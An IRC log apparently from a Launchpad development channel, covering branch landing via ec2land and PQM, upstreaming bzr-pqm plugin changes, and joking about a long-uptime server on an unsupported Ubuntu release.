[21:04] <_mup_> Bug #598289: support a profile decorator for use in staging and development environments <performance> <Launchpad Foundations:Triaged by mars> <https://launchpad.net/bugs/598289>
[21:04] <mars> it's also "I have trained through years of use to hit Google with keywords more likely to produce the result I want"
[21:05] <mars> aka "I am a Professional Google Basher"
[21:05] <lifeless> mars: haha!
[21:05] <lifeless> my google fu is strong
[21:06] <mars> I'm assigned to fix that bug.  That's embarrassing.
[21:06] <jml> as the summer sun bids London its blushing farewell, so to must I bid farewell to you
[21:07] <jml> g'night all
[21:07] <lifeless> ciao
[21:07] <mars> night jml
[21:19] <mars> lifeless, btw, I added you as a reviewer on the test_on_merge.py fixes, along with mwh.  I hope that gives us some good coverage.
[21:20] <lifeless> fingers crossed ;)
[21:33] <jam> jml: landing https://code.edge.launchpad.net/~jameinel/launchpad/lp-serve-cleanup/+merge/30542 would be very nice. I don't think I've set anything up for actually landing code.
[21:39] <lifeless> jam: ec2land
[21:39] <lifeless> in bin
[21:40] <jam> lifeless: I have a strong feeling that requires more than just running a single script
[21:40] <jam> such as.... having an ec2 account
[21:40] <jam> etc
[21:40] <jam> but I can give it a shot
[21:46] <lifeless> it should be all documented on the wiki
[21:47] <james_w> jam: do you have PQM access?
[21:47] <jam> james_w: not if it requires anything resembling configuration
[21:47] <james_w> jam: it requires your GPG key being allowed to commit to LP branches IIUC
[21:48] <jam> (meaning I've never been set up to contribute to lp, etc.)
[21:48] <jam> consider me as a community member wrt launchpad code
[21:48] <james_w> just don't want you setting all this up and waiting 3 hours only to be told that you don't have permission to do it :-)
[22:02] <jam> james_w: right, and I imagine that would happen. Not to mention the patch mentioned is a comment only change
[22:04] <lifeless> that would be painful
[22:14]  * mtaylor trolls: it should not be painful to contribute code
[22:25] <mwhudson> jam: John Arbash Meinel <jameinel@falco-lucid>  ? :)
[22:26] <mwhudson> jam: would you like me to land the branch?
[22:26] <jam> mwhudson: sure. Though I did at least correct my whoami since then :)
[22:26] <jam> that would be very kind of you
[22:27] <mwhudson> ok
[22:37] <Ursinha> lifeless, hi
[22:37] <lifeless> hi
[22:37] <Ursinha> lifeless, I made some changes in the bzr-pqm plugin, but only in the lp-land part
[22:38] <Ursinha> is that correct to say that the changes, even if only applicable to launchpad process, belong upstream?
[22:38] <lifeless> sure
[22:38] <mwhudson> jam: the tests are running
[22:38] <Ursinha> lifeless, cool
[22:38] <lifeless> I wasn't aware folk still used it :)
[22:38] <jam> mwhudson: thanks
[22:39] <Ursinha> lifeless, what's the process to have it upstream?
[22:39] <lifeless> ping jam
[22:39] <jam> I guess I'll find out sometime tomorrow if it lands :)
[22:39] <Ursinha> hahahaha
[22:39] <jam> pong lifeless
[22:39] <mwhudson> jam: yeah
[22:39] <Ursinha> jam, so :)
[22:39] <lifeless> jam: I was telling Ursinha to ping you :)
[22:40] <Ursinha> jam, what do I have to do to have my branch merged? propose to merge to bzr-pqm trunk on lp?
[22:40] <jam> Ursinha: sounds reasonable to me
[22:41] <Ursinha> jam, cool, I'll do that then :) thanks
[22:41] <jam> Ursinha: go ahead and ping me here with the merge proposal url, just in case there are problems with the reviewer setting of bzr-pqm
[22:42] <Ursinha> jam, sure, thanks
[23:37]  * thumper gets another coffee
[23:43]  * rockstar  hates at pagetests
[23:53]  * benji hesitates before rebooting his server with 997 days uptime.
[23:53] <lifeless> benji: nooo
[23:54] <lifeless> 3 more days man
[23:54] <benji> lol
[23:54] <lifeless> 3 more days
[23:54] <benji> LOL
[23:55]  * rockstar is with lifeless
[23:55] <rockstar> It's not often you get 1000 days uptime.
[23:56] <rockstar> (Mostly because you should be rebooting more often to get those kernel updates)
[23:57] <benji> yeah, this thing is running 7.04 and not even the latest kernel
[23:59] <wgrant> Erm, 7.04 has been unsupported for almost two years...
[23:59] <lifeless> heh
[23:59] <lifeless> so - suspend it
[23:59] <lifeless> wait three days
[23:59] <lifeless> resume and reboot